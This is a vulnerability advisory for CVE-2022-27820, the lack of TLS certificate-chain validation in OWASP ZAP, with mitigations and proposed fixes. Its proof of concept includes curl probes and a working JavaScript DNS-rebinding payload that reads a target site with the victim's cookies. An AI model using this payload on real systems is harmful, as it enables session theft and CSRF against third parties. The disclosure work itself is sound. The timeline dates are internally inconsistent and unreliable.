Lack of X.509 TLS certificate validation in OWASP ZAP
Published:
Updated:
Lack of X.509 TLS certificate validation in OWASP ZAP (Zed Attack Proxy) could be used for man-in-the-middle attacks.
Summary
OWASP ZAP (Zed Attack Proxy) does not verify the certificate chain of the HTTPS servers it connects to. For example, it connects without warning to servers presenting a self-signed certificate, an expired certificate, etc.
This opens up a browser configured to use ZAP as an intercepting proxy to:
- man-in-the-middle (MITM) attacks;
- DNS rebinding attacks (to HTTPS servers configured as default virtual server).
This is CVE-2022-27820 and bug #7165.
Impact
Man-in-the-middle attack
A user should currently avoid sending sensible information when using a browser through ZAP. In particular, he should avoid connecting using real accounts.
Moreover, the user should avoid using an existing browser profile and always use a dedicated profile in order to avoid getting already existing sessions hijacked by a man-in-the-middle (MITM).
DNS rebinding attacks
Moreover, a malicious web site could conduct a DNS rebinding attack on some HTTPS services which are usually not vulnerable to DNS rebinding attacks.
The certificate chain validation usually blocks DNS rebinding against HTTPS sites. However, as this step is disabled when using ZAP as an intercepting proxy, any HTTPS site which is configured as the default virtual host ends up being vulnerable to DNS rebinding attacks.
The attacker could use the user browser to try to attack such a vulnerable site while hiding behing the IP address of the ZAP user. For example, he could try to:
- brute force passwords;
- send stored XSS payload;
- send abusive posts, comments, spam, etc.
Another interesting approach would be to attacks HTTPS services hosted in the user internal network, possibly bypassing firewalls, WAFs, etc.
Mitigations
A possible mitigation would be to place another intercepting TLS proxy (featuring certificate chain validation) after ZAP.
Proof-of-concept
We can detect that a server is a default virtual host by comparing the output of these commands:
# Normal request:
curl https://foo.example.com/
# Request with bogus SNI and Host HTTP header:
curl -k https://foo/ --connect-to foo:443:foo.example.com:443 -H"Host: foo"
We can now use such as JavaScript code to demonstrate a simple DNS rebinding attack on the service:
// <script>
function sleep(t) {
return new Promise((resolve, reject) => {
setTimeout(resolve, t);
});
}
async function main() {
let i = 0;
while (1) {
try {
await sleep(1000);
const response = await fetch("/?" + (++i), {
// Send cookies:
"credentials": "include",
});
if (response.status != 200)
continue;
let text = await response.text();
// Check if we have our own page:
if (text.includes("5107b058-5054-4982-9bc8-ae092f62eb80"))
continue;
document.body.innerText = text;
return;
}
catch(e) {
console.log(e);
}
}
}
main();
// </script>
We can test a DNS rebinding attack by visiting a URI of the form:
https://a.127.0.0.1.1time.192.0.2.42.forever.4a885b7e-4c78-4e0e-a182-58894e0dac7d.rebind.network/
using whonow, where
- 127.0.0.1, is the IP address of our malicious server (hosting the malicious payload);
- 192.0.2.42 is the IP address of the server we are targeting;
- 4a885b7e-4c78-4e0e-a182-58894e0dac7d is a unique ID which must be changed at each attempt.
After some time, we should see the content of the target web site. We can follow up by:
- extracting any CSRF token embedded in the page;
- send HTTP requests (POST with arbitrary Content-Type, form submitions, etc.).
Resolution
Mirroring the status of the original certificate chain
This could be fixed by using the following behavior by default:
- not generate a certificate signed by the ZAP internal CA when the HTTPS server presents an untrusted certificate chain;
- replicate the validity period of the original certificate when generating its own server certificate.
Using this approach, the user would be warned against invalid certificate chains but could choose to ignore the error by using the same procedure he would use without the intercepting proxy.
I believe FortiGate uses a similar approach.
Rejecting invalid certificate chains
Another approach is to refuse (by default) the connection when the certificate chain is invalid. This approach is simpler to implement but not as convenient for the user who cannot easily fix the error from the browser.
For example, when trying to connect to a HTTPS site presenting a self-signed expired certificate, mitmproxy presents a certificate which is accepted by the browser but any HTTP request results in 502 error (Bad Gateway). This HTTP error includes a message explaining the reason of the error such as:
- Certificate verification error for expired.badssl.com: certificate has expired (errno: 10, depth: 0)
- Certificate verification error for wrong.host.badssl.com: Hostname mismatch (errno: 62, depth: 0)
- Certificate verification error for self-signed.badssl.com: self signed certificate (errno: 18, depth: 0)
- Certificate verification error for untrusted-root.badssl.com: self signed certificate in certificate chain (errno: 19, depth: 1)
- TlsProtocolException("Cannot establish TLS with 192.0.2.42:443 (sni: None): TlsException('Cannot validate certificate hostname without SNI')")
Similarly, Hetty refuses the connection by default when the presented certificate chain is not valid.
Conclusion
If you are not testing a web site under your control on your local network, I would suggest using mitmproxy instead for now.
References
- BadSSL, for testing the behaviour of the browser
- The Security Impact of HTTPS Interception
Timeline
- 2021-04-15, Initial report to BugCrowd
- 2021-04-15, Confirmed
- 2021-03-23, Disclosed, CVE requested
- 2021-03-24, CVE-2022-27820 allocated